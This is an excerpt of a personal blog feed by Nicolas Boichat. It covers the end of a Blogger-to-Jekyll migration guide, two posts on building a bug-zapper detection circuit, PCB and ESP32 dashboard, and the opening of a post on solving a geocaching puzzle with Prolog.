<span class="gu">## Per-post conversion steps</span>

<span class="gu">### 1. Determine post metadata</span>

From the mirrored HTML, extract:
<span class="p">-</span> <span class="gs">**Title**</span>: <span class="sb">`&lt;h3 class='post-title entry-title'&gt;`</span>
<span class="p">-</span> <span class="gs">**Date**</span>: <span class="sb">`&lt;abbr class='published' itemprop='datePublished' title='YYYY-MM-DDTHH:MM:SS+TZ'&gt;`</span>
<span class="p">-</span> <span class="gs">**Labels/categories**</span>: <span class="sb">`&lt;a href='.../search/label/...' rel='tag'&gt;`</span> in
  post footer

<span class="gu">### 2. Create the Jekyll post file</span>

Filename: <span class="sb">`_posts/YYYY-MM-DD-slug.markdown`</span> (use same slug as Blogger URL)

Frontmatter:
<span class="gh">```yaml
---
</span>layout: post
title: "Post Title"
date: YYYY-MM-DD HH:MM:SS+TZ
<span class="gh">categories: category blogspot
---
</span><span class="p">```</span><span class="nl">
</span>
Always include `blogspot` as a tag/category to identify imported
posts.

### 3. Convert HTML content to Markdown

The post body is in `&lt;div class='post-body entry-content'&gt;`.

Conversion rules:
- `&lt;h3&gt;`, `&lt;h4&gt;` → `###`, `####` headers (strip inline styles)
- `&lt;b&gt;` → `**bold**`
- `&lt;i&gt;` → `*italic*`
- `&lt;a href="URL"&gt;text&lt;/a&gt;` → `[text](URL)`
- `&lt;br /&gt;` → remove or use blank line between paragraphs
- `&lt;ul&gt;/&lt;li&gt;` → `- list item`
- Plain paragraphs: strip surrounding `&lt;div&gt;` and `&lt;p&gt;` tags
- `&lt;!--more--&gt;` → remove (use `excerpt:` in frontmatter if needed)

**Images with captions** (Blogger `tr-caption-container` table
pattern):
<span class="p">```</span>html
<span class="nt">&lt;table</span> <span class="na">class=</span><span class="s">"tr-caption-container"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;tr&gt;&lt;td&gt;&lt;a</span> <span class="na">href=</span><span class="s">"...s1600/name.jpg"</span><span class="nt">&gt;&lt;img</span> <span class="na">src=</span><span class="s">"...s640/name.jpg"</span><span class="nt">/&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;</span>
  <span class="nt">&lt;tr&gt;&lt;td</span> <span class="na">class=</span><span class="s">"tr-caption"</span><span class="nt">&gt;</span>Caption text<span class="nt">&lt;/td&gt;&lt;/tr&gt;</span>
<span class="nt">&lt;/table&gt;</span>
<span class="p">```</span><span class="nl">
</span>→ download the `s1600` full-size image, store in
`images/POST-SLUG/name.jpg`, generate thumb with
`bin/make-thumbnails.sh`, then:
<span class="p">```</span>
{% include img.html src="/images/POST-SLUG/name.jpg" alt="Caption text" %}
<span class="p">```</span><span class="nl">
</span>
**Images without captions** (`div.separator` pattern):
<span class="p">```</span>html
<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"separator"</span><span class="nt">&gt;&lt;a</span> <span class="na">href=</span><span class="s">"...s1600/name.jpg"</span><span class="nt">&gt;&lt;img</span> <span class="na">src=</span><span class="s">"...sNNN/name.jpg"</span><span class="nt">/&gt;&lt;/a&gt;&lt;/div&gt;</span>
<span class="p">```</span><span class="nl">
</span>→ same download/embed as above, use filename as alt text or leave
blank.

**Inline formula/small images** (no link, no zoom needed): use a plain
`&lt;img&gt;` tag instead of the include:
<span class="p">```</span>html
<span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"/images/POST-SLUG/name.png"</span> <span class="na">alt=</span><span class="s">"description"</span> <span class="na">style=</span><span class="s">"display: block; margin: auto;"</span> <span class="nt">/&gt;</span>
<span class="p">```</span><span class="nl">
</span>
**Data tables**: keep as raw HTML — kramdown passes it through fine.

**Code blocks** (`&lt;div class="code"&gt;` with monospace spans, or `&lt;pre&gt;`):
→ triple-backtick fences, add language hint if obvious.

**Dead embeds** (Flash, Picasa slideshows): remove entirely.

**Internal Blogger links**: leave as-is for now; update as those posts
are migrated.

### 4. Download and process images

<span class="p">```</span>bash
<span class="gh"># Create image directory for this post</span>
mkdir -p images/POST-SLUG

<span class="gh"># Download full-size images (replace URL with s1600 variant)</span>
wget -P images/POST-SLUG/ "https://blogger.googleusercontent.com/.../s1600/name.jpg"

<span class="gh"># Generate thumbnails</span>
bin/make-thumbnails.sh images/POST-SLUG/<span class="ge">*.jpg images/POST-SLUG/*</span>.png
<span class="p">```</span><span class="nl">
</span>
### 5. Add TODOs for internal Blogger links

For any link pointing to another `drinkcat.blogspot.com` post not yet
migrated, add an HTML comment above the line:

<span class="p">```</span>
<span class="c">&lt;!-- TODO: update link below once YYYY-MM-slug is migrated --&gt;</span>
<span class="p">```</span><span class="nl">
</span>
### 6. Preview

<span class="p">```</span>bash
bin/serve.sh
<span class="p">```</span><span class="nl">
</span>
Check the post renders correctly and images load.

</code></pre></div>  </div>

</div>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Fun fact: I used Claude in browser to find the episode, impossible to find otherwise… <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Nicolas Boichat</name></author><category term="others" /><summary type="html"><![CDATA[I have an older blog on Blogspot from many years ago – it’s still up, but there’s no telling for how long. Looking at the content, I thought some of it was still somewhat interesting (at least to me, as a trip down memory lane), so it’d be worthwhile converting the articles to markdown and including them here.]]></summary></entry><entry><title type="html">From zap! to PCB</title><link href="https://drinkc.at/blog/2026/05/23/zapper-pcb/" rel="alternate" type="text/html" title="From zap! to PCB" /><published>2026-05-23T02:35:33+00:00</published><updated>2026-05-23T02:35:33+00:00</updated><id>https://drinkc.at/blog/2026/05/23/zapper-pcb</id><content type="html" xml:base="https://drinkc.at/blog/2026/05/23/zapper-pcb/"><![CDATA[<p><em>This is part 2 of my zapping adventure, <a href="/blog/2026/04/07/zapper-counter/">part 1</a> is where I describe goals, experiments, and design.</em></p>

<p>Once I confirmed the detection circuit and software works, I wanted to shrink the design, and make it more “professional”. I never designed a PCB in my life, so this was a good opportunity to start!</p>

<p>I used <a href="https://www.kicad.org/">KiCad</a> to draw the PCB, based on the schematics in the previous post, and included the detection antenna directly in the PCB. The files are <a href="https://github.com/drinkcat/zappy-esp/tree/main/pcb">available on github</a>.</p>

<div class="img-row">



<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-pcb-png').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/pcb-thumb.png" alt="PCB design in KiCad" style="max-width: 100%" />
  </a>
  <figcaption><em>PCB design in KiCad</em></figcaption>
</figure>

<div id="img-images-zap-pcb-png" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/pcb.png" alt="PCB design in KiCad" />
</div>




<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-pcb-in-style-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/pcb-in-style-thumb.jpg" alt="(No use of AI here, just lots of painful hand drawing.)" style="max-width: 80%" />
  </a>
  <figcaption><em>(No use of AI here, just lots of painful hand drawing.)</em></figcaption>
</figure>

<div id="img-images-zap-pcb-in-style-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/pcb-in-style.jpg" alt="(No use of AI here, just lots of painful hand drawing.)" />
</div>

</div>

<p>I wasn’t sure if the ESP32 board would be happy to sit so close to the EMI spike, so I designed the PCB in a way that the antenna could be separated from the detection circuit and ESP32 if needed.</p>

<p>To reduce complexity, cost (and avoid import regulations issues), I didn’t want to directly manufacture a PCB with ESP32 on board. So I simply included the through holes to solder a header on the board and plug in an <a href="https://wiki.seeedstudio.com/xiao_esp32c6_getting_started/">ESP32-C6 Xiao</a> board – I also included pads if I wanted to solder the Xiao board directly using castellated edges.</p>

<p>Finally, I also added some 0-ohm resistors to the antenna to make it possible to shorten or lengthen it, as I only did a very rough estimate of the inductance.</p>

<h3 id="manufacturing">Manufacturing</h3>

<p>I went for <a href="https://jlcpcb.com/">JLCPCB</a> here, as it’s incredible value for money, especially when including shipping to Taiwan where I’m located.</p>

<p>I won’t go into the details of JLCPCB gotchas and best practices (lots of resources online and I found it fairly easy to do trial and error on their site before manufacturing), but just 3 things to note:</p>

<ul>
  <li>I used the <a href="https://github.com/labtroll/KiCad-DesignRules/blob/main/JLCPCB/JLCPCB.kicad_dru">DRC rules</a> by labtroll.</li>
  <li>To generate Gerber files, BOM, and placement files, I used the wonderful <a href="https://github.com/bennymeg/Fabrication-Toolkit">Fabrication Toolkit</a> by bennymeg.</li>
  <li>If you want to specify tooling hole locations, use the “ToolingHole” footprint installed by the plugin above.</li>
</ul>

<p>Cost breakdown, with coupons applied:</p>
<ul>
  <li>2.00 USD for PCB manufacturing (2-layer) – 5 pieces</li>
  <li>1.00 USD for PCBA (assembly) – 2 pieces (out of the 5)</li>
  <li>2.88 USD for shipping</li>
  <li>0.00 USD customs fee</li>
</ul>

<p>So, a total of 5.88 USD, and it took 10 days from me sending the order to receiving it – that’s actually much longer than expected, had some slight issues with the shipment that I won’t get into here.</p>

<div class="img-row">



<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-pcb-received-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/pcb-received-thumb.jpg" alt="The manufactured PCBs as received from JLCPCB" style="max-width: 100%" />
  </a>
  <figcaption><em>The manufactured PCBs as received from JLCPCB</em></figcaption>
</figure>

<div id="img-images-zap-pcb-received-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/pcb-received.jpg" alt="The manufactured PCBs as received from JLCPCB" />
</div>




<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-pcb-esp-on-zapper-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/pcb-esp-on-zapper-thumb.jpg" alt="ESP32-C6 Xiao plugged into the PCB" style="max-width: 100%" />
  </a>
  <figcaption><em>ESP32-C6 Xiao plugged into the PCB</em></figcaption>
</figure>

<div id="img-images-zap-pcb-esp-on-zapper-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/pcb-esp-on-zapper.jpg" alt="ESP32-C6 Xiao plugged into the PCB" />
</div>

</div>

<p>As you can see, 2 of the 5 boards are assembled. I did this to keep the weight super low to save on shipping (the components themselves, and assembly, are essentially free with coupons), and the components are big 1206-size so I could solder them by hand if necessary.</p>

<p>And, finally, a video, similar to the one on the previous post. I’m using a screwdriver (just after turning off the tower) to “emulate” a mosquito. The detection is shown by the LED blinking:</p>

<figure style="text-align: center">
  <iframe width="315" height="560" src="https://www.youtube.com/embed/76hJa5o9pKM" frameborder="0" allowfullscreen=""></iframe>
  <figcaption><em>We can still detect screwdrivers!</em></figcaption>
</figure>

<p>Looks like it’s just working, the loops are long enough, and the ESP32-C6 does not mind the EMI spike.</p>

<h4 id="addendum">Addendum</h4>

<p>Just for fun, before making a PCB, I made a tiny stripboard version of the detection circuit. I won’t show the back side with my terrible terrible soldering.</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-stripboard-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/stripboard-thumb.jpg" alt="Stripboard version of the detection circuit" style="max-width: 100%" />
  </a>
  <figcaption><em>Stripboard version of the detection circuit</em></figcaption>
</figure>

<div id="img-images-zap-stripboard-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/stripboard.jpg" alt="Stripboard version of the detection circuit" />
</div>]]></content><author><name>Nicolas Boichat</name></author><category term="embedded" /><summary type="html"><![CDATA[Designing and manufacturing a PCB for my bug zapper detection circuit -- my first ever PCB, made with KiCad and JLCPCB.]]></summary></entry><entry><title type="html">From zap! to dashboard</title><link href="https://drinkc.at/blog/2026/04/07/zapper-counter/" rel="alternate" type="text/html" title="From zap! to dashboard" /><published>2026-04-07T06:35:33+00:00</published><updated>2026-05-23T02:35:33+00:00</updated><id>https://drinkc.at/blog/2026/04/07/zapper-counter</id><content type="html" xml:base="https://drinkc.at/blog/2026/04/07/zapper-counter/"><![CDATA[<p><em>This is part 1 of my zapping adventure, in <a href="/blog/2026/05/23/zapper-pcb/">part 2</a> I make a PCB from this design.</em></p>

<p>So I installed a bug zapper in my house, in an attempt to control the mosquito population<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>. It’s basically a blue light surrounded by a metal grid, charged at high voltage, that discharges when something gets in between. I know it zaps, the noise and flash are obvious, but something is obviously missing: <strong>A dashboard</strong>! How many mosquitoes do I catch? I need statistics.</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-tower-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-tower-thumb.jpg" alt="Zap tower" style="max-width: 20%" />
  </a>
  <figcaption><em>Zap tower</em></figcaption>
</figure>

<div id="img-images-zap-zap-tower-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-tower.jpg" alt="Zap tower" />
</div>

<p>This was also a good opportunity to see how well vibe-EEing works (clue: I mostly have no idea what I’m doing – and neither does Claude, but in all fairness the end result is probably not so different from what I could have done with web searches picking bits and pieces of circuits).</p>

<h3 id="discarded-alternatives">Discarded alternatives</h3>

<p>I considered a number of alternatives, from web searches to friends’ suggestions. It would probably be easiest to detect the discharge by tapping the circuit inside the tower directly, but I want something that doesn’t require disassembly.</p>

<p>Looking at external methods to record the events:</p>

<ul>
  <li>Recording the zap <strong>sound</strong> with a microphone: very doable, but I didn’t want something that always listens, and signal processing didn’t seem fun.</li>
  <li>Recording the light <strong>flash</strong>: might be doable, unsure how it’d do under different lighting, and we’d need multiple sensors around the tower. But maybe doable.</li>
  <li><strong>Weighing</strong> caught mosquitoes: impossible, each of them weighs in the order of a few micrograms.</li>
</ul>

<h3 id="vibe-eeing-experiments">Vibe-EEing experiments</h3>

<p>That leaves something that detects the <strong>fast electrical discharge</strong>. The grid actually radiates quite a bit of energy during the zap.</p>

<p>I did not have spare mosquitoes at hand, so the “testing” method looks like this:</p>
<ul>
  <li>Turn on the tower, wait a bit for the grid to charge, turn it off.</li>
  <li>Insert a screwdriver between the wires of the grid, zap.</li>
</ul>

<p>I tried a few things with my portable oscilloscope, a simple antenna monopole caught a strong spike, but also a <em>LOT</em> of noise. I thought a wire loop would work better, and, after a bit of back and forth with my best friend Claude:</p>

<blockquote>
  <p><strong>Me:</strong> I… found an AM antenna loop, is this a good idea</p>

  <p><strong>Claude:</strong> [long reply about antenna frequency tuning] <br />
Just try it as-is on the scope first — I’d expect a very clean detectable burst with good SNR, probably better than a homebrew air-core loop. It’s a good find.</p>
</blockquote>

<div class="img-row">



<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-tower-am-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-tower-am-thumb.jpg" alt="AM antenna loop" style="max-width: 50%" />
  </a>
  <figcaption><em>AM antenna loop</em></figcaption>
</figure>

<div id="img-images-zap-zap-tower-am-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-tower-am.jpg" alt="AM antenna loop" />
</div>




<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-tower-am-scope-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-tower-am-scope-thumb.jpg" alt="Zap signal oscilloscope, note the 633V peak-to-peak" style="max-width: 100%" />
  </a>
  <figcaption><em>Zap signal oscilloscope, note the 633V peak-to-peak</em></figcaption>
</figure>

<div id="img-images-zap-zap-tower-am-scope-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-tower-am-scope.jpg" alt="Zap signal oscilloscope, note the 633V peak-to-peak" />
</div>

</div>

<p>And, it worked! Perhaps a bit too well, but hey Claude found it hilarious, seemed really confident in the quality of my tiny handheld oscilloscope<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>, and made safety claims I’d rather not rely on:</p>

<blockquote>
  <p><strong>Me:</strong> Err 600 V peak to peak. About 2us long but ringing down to zero in 10us. Is this safe?</p>

  <p><strong>Claude:</strong> 600Vpp is surprising but not shocking (no pun intended) given the ferrite core amplification — the ferrite concentrates flux and the tuned resonance further boosts the voltage. <em>[note: no ferrite core in this antenna]</em> <br />
Let’s break down the safety question: <br />
<strong>The oscilloscope is fine</strong> — you’re well within typical probe ratings (most handle 300–600V CAT I), so no concern there. <br />
<strong>Don’t touch the leads while the zapper is on</strong> — 600V open-circuit is enough to feel very unpleasant even if the energy (microjoules, given the 10µs duration) is tiny. It won’t kill you but it will surprise you.</p>
</blockquote>

<p>Obviously, I then moved on to a smaller loop (using some makeshift coax cable to reduce noise), and the signal is more reasonable, and very consistent. I left the oscilloscope overnight in persistence mode, and a few mosquitoes got caught.</p>

<div class="img-row">



<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-tower-loop-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-tower-loop-thumb.jpg" alt="Homebrew loop antenna, using a broken USB-C cable as coax..." style="max-width: 50%" />
  </a>
  <figcaption><em>Homebrew loop antenna, using a broken USB-C cable as coax...</em></figcaption>
</figure>

<div id="img-images-zap-zap-tower-loop-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-tower-loop.jpg" alt="Homebrew loop antenna, using a broken USB-C cable as coax..." />
</div>




<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-tower-loop-scope-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-tower-loop-scope-thumb.jpg" alt="A few (real) zaps recorded overnight -- very consistent!" style="max-width: 100%" />
  </a>
  <figcaption><em>A few (real) zaps recorded overnight -- very consistent!</em></figcaption>
</figure>

<div id="img-images-zap-zap-tower-loop-scope-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-tower-loop-scope.jpg" alt="A few (real) zaps recorded overnight -- very consistent!" />
</div>

</div>

<p>I also verified that switching <em>on</em> or <em>off</em> the tower manually doesn’t cause anything measurable – the grid takes about a second to charge fully, and naturally discharges in a few seconds.</p>

<h3 id="clamping-circuit">Clamping circuit</h3>

<p>So the next step is to design a circuit to connect that signal to a microcontroller – we need to clamp the voltage between 0 and 3.3V or so.</p>

<p>This is where Claude showed serious limitations, and asking relevant questions was essential. A long bit of confusion later — maybe this is a bit too high frequency for a cheap op-amp? No, I can’t use a “normal” diode with 0.6-0.7 V forward voltage as the pin is only presumably rated for -0.3V to 3.6V. No, the Schottkys do not need to withstand large reverse voltage as the other diode conducts — we ended up with this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Coil → [1kΩ] → D1 1N5817 to 3.3V
             → D2 1N5817 to GND
             → GPIO
</code></pre></div></div>

<p>Which I <em>think</em> is sensible, the resistor limits the current going through the diodes, and the diodes will conduct when the voltage is higher than 3.6V (or lower than -0.3V). The extra 0.3V on each side should be fine for a GPIO pin, the datasheet for the ESP32C6 I’m going to use isn’t terribly clear though.</p>

<p>I then tried to get Claude to generate schematics – hilarity ensued. I now know I should have asked for a netlist (maybe using SKidl?)?</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-vibe-eeing-is-the-future-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-vibe-eeing-is-the-future-thumb.jpg" alt="Vibe-EEing is the future" style="max-width: 75%" />
  </a>
  <figcaption><em>Vibe-EEing is the future</em></figcaption>
</figure>

<div id="img-images-zap-zap-vibe-eeing-is-the-future-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-vibe-eeing-is-the-future.jpg" alt="Vibe-EEing is the future" />
</div>

<p>So I drew something by hand instead. I also added a second resistor between the diodes and the GPIO pin for extra protection<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>. And a capacitor on 3.3V – I think this should help still clamp the signal if the board is switched off (probably not needed). And a pull-down on the GPIO pin to prevent the signal from floating to weird levels if the antenna is not connected (I should learn about diode leakage current…).</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-schematics-png').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-schematics-thumb.png" alt="Hand-drawn schematics (drinkcat: 1; Claude: 0)" style="max-width: 100%" />
  </a>
  <figcaption><em>Hand-drawn schematics (drinkcat: 1; Claude: 0)</em></figcaption>
</figure>

<div id="img-images-zap-zap-schematics-png" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-schematics.png" alt="Hand-drawn schematics (drinkcat: 1; Claude: 0)" />
</div>

<div class="img-row">



<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-tower-clamp-scope-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-tower-clamp-scope-thumb.jpg" alt="Signal after clamping, neatly between -0.3 and 3.6V." style="max-width: 100%" />
  </a>
  <figcaption><em>Signal after clamping, neatly between -0.3 and 3.6V.</em></figcaption>
</figure>

<div id="img-images-zap-zap-tower-clamp-scope-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-tower-clamp-scope.jpg" alt="Signal after clamping, neatly between -0.3 and 3.6V." />
</div>




<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-breadboard-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-breadboard-thumb.jpg" alt="Breadboard prototypes: left is v1 on ESP32-C6 devkit, right is a Seeed Xiao ESP32-C6" style="max-width: 100%" />
  </a>
  <figcaption><em>Breadboard prototypes: left is v1 on ESP32-C6 devkit, right is a Seeed Xiao ESP32-C6</em></figcaption>
</figure>

<div id="img-images-zap-zap-breadboard-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-breadboard.jpg" alt="Breadboard prototypes: left is v1 on ESP32-C6 devkit, right is a Seeed Xiao ESP32-C6" />
</div>

</div>

<h3 id="esp32-integration">ESP32 integration</h3>

<p>I picked an ESP32-C6 devkit board, and used this as an opportunity to see what all the embedded Rust rage is about. I first made a <a href="https://github.com/esp-rs/esp-idf-svc"><code class="language-plaintext highlighter-rouge">esp-idf-svc</code></a> based firmware, that builds on top of Espressif C/FreeRTOS <code class="language-plaintext highlighter-rouge">esp-idf</code> libraries, then rewrote in the Espressif-supported, native-Rust <a href="https://github.com/esp-rs/esp-hal"><code class="language-plaintext highlighter-rouge">esp-hal</code></a> framework. Claude is much better at coding than vibe-EEing, and makes it really fast to put things together.</p>

<p>The <a href="https://github.com/drinkcat/zappy-esp/blob/main/src/bin/main.rs">code</a><sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup> is reasonably simple, and boils down to:</p>
<ul>
  <li>Connect to Wifi (hardcoded SSID in firmware for now)</li>
  <li>Wait for rising edge on the input pin (pulse is long enough to be easily caught, a little bit of debouncing is necessary though)
    <ul>
      <li>Blink LED as immediate feedback.</li>
      <li>Send a message to a cloud service via Wifi/HTTP.</li>
    </ul>
  </li>
</ul>

<p>I must say I found the <code class="language-plaintext highlighter-rouge">embassy</code> abstraction of interrupt handler into an async event really cool, then we can just publish to a pubsub queue that the blink and message handler tasks pull from.</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">loop</span> <span class="p">{</span>
        <span class="n">zap_pin</span><span class="nf">.wait_for_rising_edge</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
        <span class="nd">info!</span><span class="p">(</span><span class="s">"Zap!"</span><span class="p">);</span>
        <span class="n">zap_pub</span><span class="nf">.publish_immediate</span><span class="p">(());</span>
        <span class="nn">Timer</span><span class="p">::</span><span class="nf">after</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_millis</span><span class="p">(</span><span class="mi">100</span><span class="p">))</span><span class="k">.await</span><span class="p">;</span> <span class="c1">// debounce</span>
    <span class="p">}</span>
</code></pre></div></div>

<figure style="text-align: center">
  <iframe width="315" height="560" src="https://www.youtube.com/embed/IUfh4uln3fk" frameborder="0" allowfullscreen=""></iframe>
  <figcaption><em>At least it can detect screwdrivers...</em></figcaption>
</figure>

<h3 id="dashboard">Dashboard!</h3>

<p>I looked a bit at Blynk and <a href="https://thingsboard.io/">Thingsboard</a><sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup>, and the latter seemed a little easier to use, with possibility of self-hosting if I wanted to, and longer data retention (if I understand correctly).</p>

<p>The only small gotcha was to make sure the ESP32 sends an empty message every few minutes so that the dashboard does not think the device is offline, as we only very rarely send events.</p>

<p>Making a dashboard out of the zap events was really simple with the UI.</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-zap-zap-dashboard-png').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/zap/zap-dashboard-thumb.png" alt="Zap dashboard" style="max-width: 100%" />
  </a>
  <figcaption><em>Zap dashboard</em></figcaption>
</figure>

<div id="img-images-zap-zap-dashboard-png" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/zap/zap-dashboard.png" alt="Zap dashboard" />
</div>

<p>One really interesting this to notice is that the bug count dropped a lot on April 5, it was a very rainy day, I suspect nests got flushed away. Not for long though.</p>

<p>That’s it! Ideas welcome, leave a comment below or just contact me.</p>

<p><em>In <a href="/blog/2026/05/23/zapper-pcb/">part 2</a>, I make a PCB from this design.</em></p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>For some reason Google AI overview says those are useless and harmful to good insects. Possibly in US-context, and when placed outdoors? Anyhow, I live in dengue country, so I would rather not get bitten by mosquitoes, and I’m sorry for the other insects this catches. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>I bought the Alientek DM-40C for these experiments, it’s great to use! But… I’m not sure how much I trust any of the voltage ratings… <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p><em>Presumably</em> the microcontroller should also have some sort of internal ESD protection – so if the signal is not too strong we might be able to rely on this – probably not the best idea. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p><code class="language-plaintext highlighter-rouge">esp-idf-svc</code> code on <a href="https://github.com/drinkcat/zappy-esp/blob/esp-idf/src/main.rs">this branch</a>. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5" role="doc-endnote">
      <p>I considered Home Assistant but I do not have a server at home, so I wanted something cloud based. <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Nicolas Boichat</name></author><category term="embedded" /><summary type="html"><![CDATA[I installed a bug zapper in my house. I know it zaps, but something is obviously missing: A dashboard! How many mosquitoes do I catch? I need statistics.]]></summary></entry><entry><title type="html">Solving a geocaching problem with Prolog (CLP)</title><link href="https://drinkc.at/blog/2024/11/01/geocaching-prolog/" rel="alternate" type="text/html" title="Solving a geocaching problem with Prolog (CLP)" /><published>2024-11-01T13:09:32+00:00</published><updated>2024-11-01T13:09:32+00:00</updated><id>https://drinkc.at/blog/2024/11/01/geocaching-prolog</id><content type="html" xml:base="https://drinkc.at/blog/2024/11/01/geocaching-prolog/"><![CDATA[<p>Something a bit different for today! I picked up <a href="https://www.geocaching.com/blog/2018/03/what-is-geocaching/">Geocaching</a> this year. It’s a really fun activity, that makes you go out in the real world to find hidden items (a box, little tube…), that you open, sign, and put back carefully. Without anybody else spotting you. Ideally.</p>

<p>Some of the mystery caches require to solve a puzzle to find the final coordinates where you can find the box.</p>

<p>I’ll focus on a particular puzzle here, where I ended up using Prolog to find the target coordinates. I will not give out the specific problem I solved, and I heavily modified the numbers below, as I do not want to provide spoilers.</p>

<h2 id="coordinates">Coordinates</h2>

<p>One example of coordinates looks like this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>N 25° 02.008 E 121° 33.951
</code></pre></div></div>

<p>Geocaching usually uses degrees (e.g. <code class="language-plaintext highlighter-rouge">25</code>), followed by minutes (<code class="language-plaintext highlighter-rouge">02</code>), and a fractional decimal part (<code class="language-plaintext highlighter-rouge">008</code>).</p>

<p>A mystery cache is usually posted at bogus coordinates, and some computations are required to get to the final location, which “<em>cannot be more than 2 miles (3.2 kilometers) from the posted coordinates</em>” (<a href="https://www.geocaching.com/help/index.php?pg=kb.chapter&amp;id=127&amp;pgid=277">ref</a>).</p>

<h2 id="puzzle">Puzzle</h2>

<p>The problem I wanted to solve required finding 10 variables (A, B, C, D, E, F, G, H, J, K), based on questions that should be solvable online.</p>

<p>This puzzle is fairly old, and requires looking at the profile of the geocacher who hid it. For some variables, the solution can be found, for others there is no way anymore (I believe geocaching website tightened privacy rules), and for some others, only a lower bound can be found (e.g., the number of finds in a given year excludes caches that have been archived since then, so if I can find 2 caches on the website, the number of caches that have actually been found can be anything <em>more</em> than 2, or 2 itself).</p>

<p>In my case, I could be find 4 of the variable values (A, E, H, and K),
while I had lower bounds for 3 variables (D, F, G), and no solutions
for 3 more (B, C, and J).</p>

<p>We also know that the sum of those 10 variables must be equal to 25.</p>

<p>Once those 10 variables are found, the final coordinates are given in this form, where each of the expressions in parentheses give out one number in the final coordinates.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>N 25 <span class="o">(</span>J-E<span class="o">)(</span>F+A<span class="o">)</span>.<span class="o">(</span>K-F<span class="o">)(</span>E+C<span class="o">)(</span>G+C<span class="o">)</span>
